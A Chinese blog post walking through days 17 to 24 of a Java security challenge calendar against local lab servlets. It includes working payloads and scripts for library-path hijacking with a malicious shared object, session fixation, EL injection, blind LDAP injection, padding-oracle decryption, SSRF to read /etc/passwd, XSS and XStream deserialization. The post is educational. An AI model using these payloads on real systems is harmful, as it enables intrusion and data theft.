Ripstech Java Security 2019 Calendar复现系列(四)
2020-02-25 09:50:42 Author: xz.aliyun.com(查看原文) 阅读量:332 收藏

代码

Day 17
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

从这段代码中可以看出,首先它有一个上传功能,它可以安全地上传任何扩展名以及任何Content-Type的文件至/var/myapp/data目录下。然后get请求中,会首先执行loadEnv()函数,它会将cookie进行处理,提取出cookie中的env段进行环境变量的设置,其中它在setEnv函数中对环境变量名进行判断,不允许环境变量名以"java", "os"以及"file"开头。但可通过.java.xxx来绕过,从而可以设置以java开头的环境变量,将java.library.path设置为文件上传目录,从而在System.loadLibrary()函数中,加载恶意文件。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>day17</servlet-name>
    <servlet-class>com.ananaskr.day17.JavaDeobfuscatorStartupController</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day17</servlet-name>
    <url-pattern>/day17</url-pattern>
  </servlet-mapping>
</web-app>

3. 补充文件上传代码

JavaDeobfuscatorStartupController.java

public class JavaDeobfuscatorStartupController extends HttpServlet {

...

private static void uploadFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // Secure file upload with arbitrary content type and extension in known path /var/myapp/data
        DiskFileItemFactory factory = new DiskFileItemFactory();
        factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
        ServletFileUpload upload = new ServletFileUpload(factory);

        String uploadPath = "/var/myapp/data";
        File uploadDir = new File(uploadPath);

        if(!uploadDir.exists()){
            uploadDir.mkdir();
        }

        try{
            List<FileItem> items = upload.parseRequest(request);
            if (items != null && items.size() >0){
                for (FileItem item : items){
                    if(!item.isFormField()){
                        String name = item.getName();
                        String file = uploadPath+File.separator+name.replace("/","");
                        System.out.println(file);
                        File storeFile = new File(file);
                        item.write(storeFile);
                    }
                }
            }
        } catch (Exception ex){
            response.sendRedirect("/");
        }
    }


    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
        uploadFile(request,response);
    }

...

4. 补充上传的jsp

index.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Upload</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post" action="/Day17_war_exploded/day17" enctype="multipart/form-data">
    <input type="file" name="uploadFile"/>
    <br/><br/>
    <input type="submit" value="upload"/>
</form>

</body>
</html>

5. payload构造

作为攻击者,目的主要是为了上传恶意的.so文件,使其在被加载时就执行恶意行为。在这里参考了巧用LD_PRELOAD突破disable_functions。GCC有个C语言扩展修饰符__attribute__((__constructor__)),可以让由它修饰的函数在main()之前执行,若它出现在共享对象中,那么共享对象被系统加载,立即执行__attribute__((__constructor__))修饰的函数。

可构造如下的libDEOBFUSCATION_LIB.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


__attribute__ ((__constructor__)) void preload (void){
    system("id");
}

然后编译,生成恶意的so文件

gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl

将生成的libDEOBFUSCATION_LIB.so首先上传到/var/myapp/data目录下。然后通过.java.library.path然后黑名单检查,因此可发送如下请求

提示:在此过程中,由于是在MAC OS上进行的复现,System.loadLibrary("XXX")函数只会读取java.library.path路径下的libXXX.dylib,而不会读取libXXX.so。因此,将libDEOBFUSCATION_LIB.so修改后缀为libDEOBFUSCATION_LIB.dylib,然后进行上传,才可成功。

6. 结果

可看到,在命令行中输出了id的结果

代码

Day 18
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

这段代码中有一个会话固定攻击,可导致命令注入漏洞。当第一次访问时,新的会话被创建且会话变量被设置,然而在此过程中,攻击者控制了一些会话的参数,用户输入的config被分割为key-value对。然后被处理的config值被合并至whitelist中。这将导致攻击者可以完全控制自己会话的会话变量。
攻击者的目标是达到"execute last command"部分,只有通过Authorization header提供有效密码并设置会话变量last_command时,才能访问"execute last command"部分。
综上所述,攻击者可以完全控制会话变量,但仅仅在自己的会话中,没有密码,无法访问到"execute last command"部分。在35-39行代码中存在会话固定漏洞,导致对受害者cookie的完全控制。可以通过向应用程序管理员发送一个链接,并通过参数config将其会话设置为已知会话,然后执行上次存储的shell命令。身份验证头是自动发送的,因此密码检查通过。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>day18</servlet-name>
    <servlet-class>com.ananaskr.day18.LoadConfig</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day18</servlet-name>
    <url-pattern>/day18</url-pattern>
  </servlet-mapping>
</web-app>

3. 补充validBasicAuthHeader()

  1. import org.apache.tomcat.util.http.fileupload.IOUtils -> import org.apache.commons.io.IOUtils

  2. validBasicAuthHeader()

private boolean validBasicAuthHeader(HttpServletRequest request){
        HttpSession session = request.getSession(true);
        String auth = (String)session.getAttribute("Authorization");

        if(auth.equals("password_of_day18")){
            return true;
        }else if(request.getParameter("passwd").equals("password_of_day18")){
            session.setAttribute("Authorization","password_of_day18");
            return true;
        }else{
            return false;
        }
    }

4. payload构造及复现

首先准备两个浏览器,Google和Safari分别对应于应用程序管理员和攻击者。

1.攻击者(在Safari浏览器中)首先访问应用程序,获得其session的JSESSIONID。并将last_command存储至session中。payload如下

?config=last_command@ls

2.将获取的JSESSIONID,即8A36A702791A470114ECD0BA77B61653。创建一个链接,发送给应用层序管理员,使其点击,将攻击的JSESSIONID与自己的会话绑定。

?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes

3.应用程序管理者(在Google浏览器中)发送如下payload,完成验证

?home=yes&passwd=password_of_day18

4.应用程序管理员点击?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes,将攻击者的JSESSIONID绑定至自己的会话中。

5.在这之后,攻击者再发送请求后,绕过了原来的验证,且一开始已经将last_command存储在会话中了,发送如下payload即可。

?home=yes

5. 结果

代码

Day 19
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

代码获取请求参数p的值,并将其通过eval()函数执行,易导致表达式语言注入攻击。为了防止EL注入攻击,首先对获取的用户输入进行判断,必须以"开头,然后通过正则表达式防止注入危险的类和语言结构(这些类和语言结构可用于执行任意Java指令)。然而这些都很容易绕过。
由于Java的灵活性,有无数方法绕过黑名单。例如,可以通过反射调用javax.scripts.ScriptEngineManager类。Eval需要一个字符串,很多方法可以对该字符串进行编码,最终导致代码注入。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>day19</servlet-name>
    <servlet-class>com.ananaskr.day19.RenderExpression</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day19</servlet-name>
    <url-pattern>/day19</url-pattern>
  </servlet-mapping>
</web-app>

3. payload构造

由于直接执行java反射代码无法绕过对于"的判断,所以新实例化了一个ScriptEngine对象调用eval()函数实现代码注入。其中,对于正则表达式出现的关键字,采用replaceAll来绕过,具体的payload如下:

"".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))

在发送请求时,将其escape,其中"touch /tmp/owned.jsp"中间的空格换成"+",否则会导致无法绕过正则匹配。

4. 结果

代码

Day 20
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

在代码的54行,用户输入username被传递给userExists()方法中,
此方法检查此用户是否存在LDAP目录中。在此方法中对用户的输入首先进行一个过滤,不允许出现黑名单中的如uuid等敏感的值。然后将用户输入拼接到查询语句中进行用户的查询。若查询结果不为0,则页面出现"User is found"。根据这一差异,可以进行LDAP盲注。代码中通过对用户输入的值进行黑名单检查从而阻止LDAP注入,但是这仅仅限制了对敏感信息的种类的获取,不在黑名单中的信息createtimestamp,description的值依然可以获得。根据executeCommand()函数,且若获取到管理员用户的createtimestamp,可以生成API token,然后利用此token可以执行shell命令。

复现过程

1. 环境

docker pull osixia/openldap:1.3.0

ldapadd -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin -f test.ldif 

//test.ldif
dn: cn=ananaskr1,dc=example,dc=org
objectClass: simpleSecurityObject
objectClass: inetOrgPerson
cn: ananaskr1
sn: ad
uid: admin
userPassword:: e1NTSEF9bzVZaGNCQUg4Sm9IcC9LNEZXV2YyK21vQ1VJemkwcmw=
mail: [email protected]
description: hacked by ananaskr
  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>day20</servlet-name>
    <servlet-class>com.ananaskr.day20.UserController</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>day20</servlet-name>
    <url-pattern>/day20</url-pattern>
  </servlet-mapping>
</web-app>

3. payload构造

由于在新加入的条目中含有description字段,且description也未在黑名单中。就使用LDAP盲注来获取description的值。构造的payload如下

?username=admin)(description=H*
?username=admin)(description=Ha*

可编写脚本来获取

import requests
import string

url = "http://localhost:8080/Day20_war_exploded/day20?username=admin)(description="
Alpha=string.ascii_letters+string.digits+' '

des = ""
while True:
    flag = False
    for i in Alpha:
        url1 = url + des +i+"*"
        res=requests.get(url=url1)
        if("User is found." in res.text):
            des = des + i
            flag=True
            break

    if(flag==False):
        break

print(des)

4. 结果

代码

Day 21
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

在代码中,方法decrypt使用AES算法解密用户提供的十六进制编码的密文。加密密文是攻击者已知的,且初始的IV攻击者也已知。然而,攻击者并不知道密钥,因此被加密的明文无法获知。但密文并没有被MAC或者签名保护,攻击者可以操作IV(密文的前16个比特),利用CBC的延展性来导致BadPaddingException。因此,在不知道密钥的情况下,可以通过Padding Oracle攻击来获取明文。

关于Padding Oracle的资料。
https://www.freebuf.com/articles/web/15504.html.
https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.

复现过程

1. 环境

  • IDEA+springmvc

2. 修正代码

req.getParameter("c")改为req.getParameter("c").toCharArray()

2. 配置web.xml

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>encodingFilter</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
        <init-param>
            <param-name>forceEncoding</param-name>
            <param-value>true</param-value>
        </init-param>
    </filter>
    <filter-mapping>
        <filter-name>encodingFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

3. 配置dispatcher-servlet.xml

dispatcher-servlet.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:content="http://www.springframework.org/schema/context"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">

    <content:component-scan base-package="com.ananaskr.day21"/>
    <context:annotation-config/>
    <mvc:default-servlet-handler/>
    <mvc:annotation-driven/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix">
            <value>/WEB-INF/</value>
        </property>
        <property name="suffix">
            <value>.jsp</value>
        </property>
    </bean>
</beans>

4. 配置applicationContext.xml

applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="day21" class="com.ananaskr.day21.Decrypter">
    </bean>
</beans>

5. payload构造

攻击者已知的是初始IV和密文。

// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4

IV: 699c99a4f27a4e4c310d75586abe8d32
密文: a8fc21a1f9e400f22b1fec7b415de5a4

根据Padding Oracle攻击的步骤,利用IV=00000000000000000000000000000000来开始猜测Intermediary Value的最后一字节,通过测试,当最后一字节值为0x3b,即发送请求为http://localhost:8080/Day21_war_exploded/decrypt?c=0000000000000000000000000000003ba8fc21a1f9e400f22b1fec7b415de5a4时,返回的响应不是"Invalid Padding"。此时最后一字节的Intermediary Value =0x3b^0x01=0x3a。
然后将Intermediary Value^0x02来继续猜测倒数第二字节的Intermediary Value值。
迭代地进行计算,一共16个字节,最多需要16*256次尝试即可得到Intermediary Value值,然后将其与初始IV进行异或,即可得到明文。为了方便,编写如下脚本,计算Intermediary Value值

IV.py

import requests

url1 = "http://localhost:8080/Day21_war_exploded/decrypt?c="
cipher = "a8fc21a1f9e400f22b1fec7b415de5a4"

intervalue = []
value = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
for j in range(1,17):

    IV = ""
    IV = IV+"00"*(16-j)
    inva = ""
    for k in range(len(intervalue)):
        inva_t=hex(intervalue[k]^value[len(intervalue)])[2:]
        if(len(inva_t)==1):
            inva="0"+inva_t+inva
        else:
            inva=inva_t+inva

    for i in range(1,257):
        if(len(hex(i)[2:])==1):
            IV1 = IV+"0"+hex(i)[2:]
        else:
            IV1 = IV+hex(i)[2:]
        c = IV1+inva+cipher
        url = url1+c
        res=requests.get(url=url)
        if("Invalid" not in res.text):
            intervalue.append(i^value[len(intervalue)])
            print(intervalue)
            break

6. 结果

得到的结果Intermediary Value =[58, 133, 182, 98, 80, 125, 5, 57, 41, 32, 21, 150, 200, 245, 249, 30],第一个表示最后一字节,将其与初始IV进行异或,得到明文为"welldone",如下所示

代码

Day 22
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

参数url在第31行通过getUrl()转换为URLConnection对象。在getURl方法中会检查url是否以http开头,是否是有效的外部URL,并设置禁止跳转跟随。然而,在第33-43行中允许设置Location头进行重定向。若受攻击者控制的URL发送受攻击者控制的Location头,则可进行SSRF。但由于会对Location头的值是否以http://进行检查,但是检查不严格,仅仅要求http://存在即可。因此可构造恶意的Location值,从而实现SSRF,更进一步地可实现文件读取漏洞。

复现过程

1. 环境

  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>day22</servlet-name>
    <servlet-class>com.ananaskr.day22.ReadExternalUrl</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day22</servlet-name>
    <url-pattern>/day22</url-pattern>
  </servlet-mapping>
</web-app>

3. payload构造

首先得实现一个http服务器,使得返回的响应头Location是攻击者可控的。Python实现的http服务器如下所示:
http.py

import socket
from multiprocessing import Process

def handle_client(client_socket):
    request_data=client_socket.recv(1024)
    response_start_line = "HTTP/1.1 200 OK\r\n"
    response_headers = "Location:file:///etc/passwd#http://www.baidu.com"
    response_body = "<h1>Python HTTP Test</h1>"
    response = response_start_line+response_headers+"\r\n"+response_body

    client_socket.send(bytes(response,"utf-8"))

    client_socket.close()

if __name__ == "__main__":
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(("",8888))
    server_socket.listen(128)

    while True:
        client_socket, client_address = server_socket.accept()
        print("[%s, %s] connected" % client_address)
        handle_client_process = Process(target=handle_client, args=(client_socket,))
        handle_client_process.start()
        client_socket.close()

其中,Location里的值为构造的恶意值,可以直接读取到敏感文件。构造完http服务器后,将其放置在服务器上,然后payload为:

http://localhost:8080/Day22_war_exploded/day22?url=http://your_server_ip:8888/

4. 结果

代码

Day 23
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

name。其中name参数进行了escape避免产生XSS。代码的漏洞点在于第18行format()函数易产生格式化字符串漏洞,从calendar对象包含的各个对象调用toString()函数,若有一个对象中存在包含xss payload的字符串,且拼接的name参数中有%s,则会产生格式化字符串漏洞,从而导致反射XSS漏洞。而第12行创建了一个java.util.SimpleTimeZone对象,该对象接收一个未过滤的用户控制的输入id,该id被添加到Calendar对象中。因此,产生漏洞。

复现环境

1. 环境

  • IDEA+maven-archetype-webapp

2. 配置web.xml

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
  <servlet>
    <servlet-name>day23</servlet-name>
    <servlet-class>com.ananaskr.ShowCalendar</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>day23</servlet-name>
    <url-pattern>/day23</url-pattern>
  </servlet-mapping>
</web-app>

3. 修正代码

ShowCalendar.java

SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
改为
SimpleDateFormat parser=new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");

否则会报"java.text.ParseException: Unparseable date"

4. payload构造

根据前面漏洞点的分析,payload构造如下所示

day23?id=<script>alert(1)</script>&current_time=2013-06-28T00:00:00+00:00&name=%shello

将特殊字符进行url编码

day23?id=<script>alert(1)</script>&current_time=2013-06-28T00:00:00%2B00:00&name=%25shello

5. 结果

结果如下所示

代码

Day 24
https://www.ripstech.com/java-security-calendar-2019/

漏洞点

此代码包含一个对象注入漏洞。通过Spring框架的@RequestBody注解将用户输入映射到参数xml上。输入然后被解析为一个org.w3c.dom.Document实例。在解析之后,XPath表达式//com.ananaskr.day24.User[@serialization='custom'][1]被用于选择com.ananaskr.day24.User节点。在第17行,此节点被转换为字符串并在第20行Xstream反序列化。

在代码中有2个类,都实现了Serializable接口,意味着这些类的对象可以被序列化。

sink点在第19行Invoker类的readObject方法,这个代码片段允许攻击者创建一个任意的对象,方法是用一个字符串数组调用构造函数,并invoke一个攻击者控制的这个对象的方法(此方法不需要参数)。使用一下payload,我们可以创建ProcessBuilder实例并执行任意shell命令。

因此,对象注入需要反序列化Invoker类,但是Xpath表达式//com.ananaskr.day24.User[@serialization='custom'][1]只选择User类。然而,User类的内部还可以有Invoker子类,因此可以绕过此检查,再加之Xstream能序列化任意类,最终导致对象注入。

复现过程

1. 环境

  • IDEA+springmvc

2. 修正代码(可选)

  • 将第30行的transient private String password;改为transient private Object password;
  • 将第41行的password = (String) stream.readObject();改为password = stream.readObject();
  • 不改可能会出现500的错误,但不影响命令执行

3. 配置web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>encodingFilter</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
        <init-param>
            <param-name>forceEncoding</param-name>
            <param-value>true</param-value>
        </init-param>
    </filter>
    <filter-mapping>
        <filter-name>encodingFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

4. 配置dispatcher-servlet.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:content="http://www.springframework.org/schema/context"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">

    <content:component-scan base-package="com.ananaskr.day24"/>
    <context:annotation-config/>
    <mvc:default-servlet-handler/>
    <mvc:annotation-driven/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix">
            <value>/WEB-INF/</value>
        </property>
        <property name="suffix">
            <value>.jsp</value>
        </property>
    </bean>

</beans>

5. 配置applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="day24" class="com.ananaskr.day24.Day24">
    </bean>
</beans>

6. payload构造

根据漏洞点的分析,需要在User类中包含Invoker子类。payload如下所示

<com.ananaskr.day24.User serialization="custom">
  <com.ananaskr.day24.User>
    <default>
      <email>[email protected]</email>
      <name>Peter</name>
    </default>
    <com.ananaskr.day24.Invoker serialization="custom">
      <com.ananaskr.day24.Invoker>
        <default>
          <a>
            <string>touch</string>
            <string>/tmp/abc</string>
          </a>
          <c>java.lang.ProcessBuilder</c>
          <m>start</m>
        </default>
      </com.ananaskr.day24.Invoker>
    </com.ananaskr.day24.Invoker>
  </com.ananaskr.day24.User>
</com.ananaskr.day24.User>

过程如图所示

7. 结果

Ripstech Java Security 2019 Calendar系列的内容都比较简单,适合入门学习。每个day的环境已上传至github,可供参考。


文章来源: http://xz.aliyun.com/t/7247
如有侵权请联系:admin#unsafe.sh